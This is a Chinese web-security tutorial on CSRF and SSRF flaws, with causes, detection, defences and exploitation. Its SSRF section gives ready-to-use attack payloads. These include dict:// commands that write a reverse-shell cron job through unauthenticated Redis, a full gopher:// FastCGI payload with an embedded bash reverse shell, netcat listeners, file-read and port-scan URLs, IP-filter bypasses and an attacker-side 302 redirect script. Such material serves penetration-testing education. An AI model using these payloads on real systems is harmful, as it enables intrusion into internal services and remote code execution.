请求伪造漏洞

张天师大约 6 分钟

CSRF客户端请求伪造

漏洞概述

比如某网站用户信息修改功能,攻击者可以用HTML构造恶意代码提交POST请求

诱骗已经登陆的受害者点击,可以直接修改用户信息

CSRF 攻击和 XSS 的区别

CSRF攻击不需要将恶意代码注入用户的页面,仅是利用服务端的漏洞和用户的登录状态来实施攻击

漏洞成因

CSRF由客户端发起;在执行关键操作时,没有进行是否由用户自愿发起的确认;

攻击者通过用户的浏览器来注入额外的网络请求,来破坏一个网站会话的完整性。

修复建议

1、验证Referer(有被绕过的风险,从HTTPS页面跳转到HTTP页面时Referer不会被传递)

2、添加token(保证随机性和一次性)

漏洞利用

GET和POST利用方法区别?

GET型,只需要构造URL,然后诱导受害者访问利用

POST型,需要构造自动提交或点击提交的表单,然后诱导受害者访问或点击利用

GET请求方法利用

POST请求方法利用

https://www.cnblogs.com/backlion/p/13083242.htmlopen in new window

json格式的CSRF利用

https://xz.aliyun.com/t/7911open in new window

SSRF服务端请求伪造

漏洞概述

Server-Side Request Forgery 是一种由攻击者构造形成由服务端发起请求的漏洞

攻击的目标是从外网无法访问的内部系统

正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统

SSRF 成因

由于服务端提供了从其他服务器应用获取数据的功能

且没有对目标地址做过滤与限制 (没有做合法性验证)

出现场景

能够对外发起网络请求的地方,就可能存在 SSRF 漏洞。

从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

检测方法

1)通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞

2)在页面源码中查找访问的资源地址 ,

如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞

防御方案

1、检查Host是否是内网IP

2、限制可用协议和请求端口(HTTP、HTTPS;80、443)

3、禁止跳转

4、URL长度限制;短链接:生成短链接的网站open in new window

漏洞利用

攻击内网服务

#读取内网文件
ssrf.php?url=file:///etc/hosts

#内网端口探测
ssrf.php?url=127.0.0.1:3306

#Burp下使用迭代器模式爆破,设置好要爆破的 IP 和 端口即可批量探测出端口开放的信息

DICT协议+Redis未授权

通过 SSRF 直接发起 DICT 请求,可以成功看到 Redis 返回执行完 info 命令后的结果信息

dict://x.x.x.x:6379/info

定时任务反弹shell

# 清空 key
dict://192.168.1.111:6379/flushall

# 设置定时任务目录
dict://192.168.1.111:6379/config set dir /var/spool/cron/

# 创建定时任务文件
dict://192.168.1.111:6379/config set dbfilename root

# 写入反弹 shell 的 payload
dict://192.168.1.111:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/1234 0>%261\n"
#SSRF 传递的时候记得要把 & URL 编码为 %26

# 保存
dict://172.72.23.27:6379/save

gopher-redis-auth攻击脚本open in new window

GOPHER打FastCGI

gopher协议概念

GOPHER支持发出GET、POST请求;

可以先截获get请求包和post请求包,再构造成符合gopher协议的请求;

GOPHER协议是SSRF利用中一个最强大的协议 (俗称万能协议) 可用于反弹shell。

一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的;

但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。

首先根据 faci_expopen in new window 生成exp,随后改成支持gopher协议的URL

./fcgi_exp system 目标IP 9000 /var/www/html/1.php "bash -i >& /dev/tcp/攻击者IP/2333 0>&1"
nc -lvv 2333 > 1.txt
xdd 1.txt

构造 Gopher 协议的 URL

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
curl -v "Gopher协议的URL"

#本地监听2333端口,收到反弹shell
nc -lvv 2333

绕过技巧

1)检查IP是否为内网IP

很多开发者认为,只要检查一下请求url的host不为内网IP,即可防御SSRF。

通常使用正则过滤以下5个IP段

192.168.0.0/16
10.0.0.0/8
172.16.0.0/12
127.0.0.0/8
0.0.0.0/8  #在Linux下,127.0.0.1与0.0.0.0都指向本地

这种防御方法通常可以用IP地址进制转换绕过

利用八进制IP地址绕过 0177.0.0.1

利用十六进制IP地址绕过 0x7f000001

利用十进制的IP地址绕过 2130706433

他们一个都匹配不上正则表达式, 但实际请求都是127.0.0.1

2)利用URL解析器滥用

某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。

这时候可能会出现对URL参数解析不当,导致可以绕过过滤

http://www.baidu.com@127.0.0.1

当后端程序通过不正确的正则表达式,对上述URL的内容解析的时候

会认为访问URL的host为www.baidu.com而实际上请求的是127.0.0.1上的内容

构造CURL的payload:

curl -d "url=http://foo@127.0.0.1:80@www.baidu.com/flag.php" "http://192.168.43.157"

3)301/302跳转绕过

限制可用协议和请求端口(HTTP、HTTPS;80、443)时可利用302跳转绕过

利用条件
程序的合法性检验逻辑为: 检查url参数的host是否为内网地址

使用的是CURL方法,并且CURLOPT_FOLLOWLOCATION为true(即跟随302/301进行跳转)
可利用的协议
http/https
dict
gopher

file协议不行
目标服务器代码
//ssrf.php
<?php
    function curl($url)
	{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    //根据服务器返回 HTTP 头中的 "Location: " 重定向
    
    curl_exec($ch);
    curl_close($ch);
	}
	
	$url = $_GET['url'];                                                         
	print $url;                                                                  
	curl($url);
?>
攻击者VPS代码
//302.php
<?php
$schema = $_GET['schema'];
$ip     = $_GET['ip'];
$port   = $_GET['port'];
$query  = $_GET['query'];

echo "\n";
echo $schema . "://".$ip."/".$query;

if(empty($port)){  
   header("Location: $schema://$ip/$query");
} else {
   header("Location: $schema://$ip:$port/$query");
}
#http/https
http://目标网站HOST/ssrf.php?url=http://vps的IP/302.php?schema=http&ip=127.0.0.1&port=80

#dict
http://目标网站HOST/ssrf.php?url=http://vps的IP/302.php?schema=dict&ip=127.0.0.1&port=29362&query=info

#gopher
http://目标网站HOST/ssrf.php?url=http://vps的IP/302.php?schema=gopher&ip=127.0.0.1&port=2333&query=66666

参考链接

SSRF在有无回显方面的利用及其思考与总结 open in new window

利用 Gopher 协议拓展攻击面open in new window